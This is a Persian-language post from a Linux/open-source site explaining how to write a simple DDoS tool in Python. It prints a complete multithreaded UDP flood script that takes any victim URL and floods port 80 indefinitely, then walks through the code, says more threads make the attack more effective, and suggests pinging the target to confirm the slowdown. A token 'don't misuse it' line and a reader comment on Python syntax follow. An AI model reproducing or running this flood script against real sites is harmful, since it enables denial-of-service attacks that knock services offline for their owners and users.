Loading…

جزیره لینوکس و سیستم های متن باز

ارسال کننده: سید محمد باقر موسوی
کارشناس فناوری اطلاعات - Linux Systems Administrator
ارسال پیام خصوصی
امتیازات این مطلب
نکته: چطور با پایتون یک برنامه DDOS Attack ساده بنویسیم؟
سلام و وقت بخیر. امروز میخوایم یک برنامه ساده در پایتون رو با هم تمرین کنیم. میدونیم حمله DOS یا DDOS یکی از معمول ترین حملات به سایت ها است که باعث از دسترس خارج شدن سایت میشود. این کار با سرازیر کردن تعداد بسیار زیادی درخواست در زمان کوتاه به سمت سایت و شلوغ کردن سر آن، انجام میشود.به کد زیر دقت کنید.
#!/usr/bin/python
import time, socket, sys, thread

victim_addr = raw_input("Enter The URL [ENTER]: ")
thread_count = input("Enter the counts of thread you wish to lunch [ENTER]: ")
victim_ip = socket.gethostbyname(victim_addr)

UDP_PORT = 80
MESSAGE = "DOS ATTACK!!!"
print "UDP target IP:", victim_ip
print "UDP target port:", UDP_PORT
time.sleep(3)

def dos(i):
	while True:	
			sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			sock.sendto(MESSAGE, (victim_ip, UDP_PORT))
			print "Packet Sent"
		
for i in xrange(thread_count):
	try:
	 thread.start_new_thread( dos , ("Thread-"+str(i),) )
	except KeyboardInterrupt:
			sys.exit(0)
while 1:
  pass

در ابتدا نام سایت مورد نظر را وارد میکنیم (بدون www و http یا https مثلا itpro.ir ) و آن را در متغیری ذخیره میکنیم. سپس تعداد thread های مورد نظر را دریافت میکنیم. هر thread با استفاده از یک حلقه بینهایت، بسته های udp را به سمت پورت 80 سرور مورد نظر ارسال میکند. بدیهی است که هرچه تعداد Thread ها بیشتر باشد حمله موثر تر و صد البته مهاجم به منابع سخت افزاری و نرم افزاری و پهنای باند بیشتری هم برای اجرای حمله نیاز خواهد داشت. تابع socket.gethostbyname تبدیل اسم به ip را برای ما انجام میدهد. یعنی اسم سایت را میگیرد و آدرس ip سایت را برمیگرداند.for i in xrange thread_count برای ایجاد کردن thread هاست. به تعداد عددی که کاربر برای Thread وارد کرده این حلقه انجام میشود. در هر بار انجام شدن آن به اضای هر thread یک بار تابع dos صدا زده میشود و در تابع dos به وسیله یک حلقه بینهایت که در آن پشت سر هم socket ساخته میشود، بسته های udp به سمت سایت قربانی سرازیر میشود.این برنامه بدون توقف پشت سر هم اجرا میشود و شرط متوقف کردن حمله با except KeyboardInterrupt تامین شده است. لحظه ای که کلید کنترل و c را فشار دهید، به منزله یک وقفه برای سیستم بوده و از حلقه for تولید کننده thread ها خارج میشود.برای تست کردن صحت اجرا میتونید در حین اجرای برنامه از سایت مورد نظر ping بگیرید. مشاهده خواهید کرد که بسته ها یا time out میشوند یا با تاخیر بیشتری از حد معمول بازمیگردند.از برنامه سوء استفاده نکنید !!! با تشکر !!! :))))
دیدگاه ها
  • ارسال توسط:
  • زمان ارسال: 2 ماه قبل
خسته نباشید.ممنون که این کد رو در اختیار همه قرار گذاشتید ولی دوست عزیز کدتون مشکل داره.
اول اینکه باید این کد جلوی print رو داخل پرانتز بزارید.
print "UDP target IP:", victim_ip
print "UDP target port:", UDP_PORT
بعد اینکه import time, socket, sys, thread دقیقا از کجا import میکنه؟
برای ارسال نظر وارد شوید.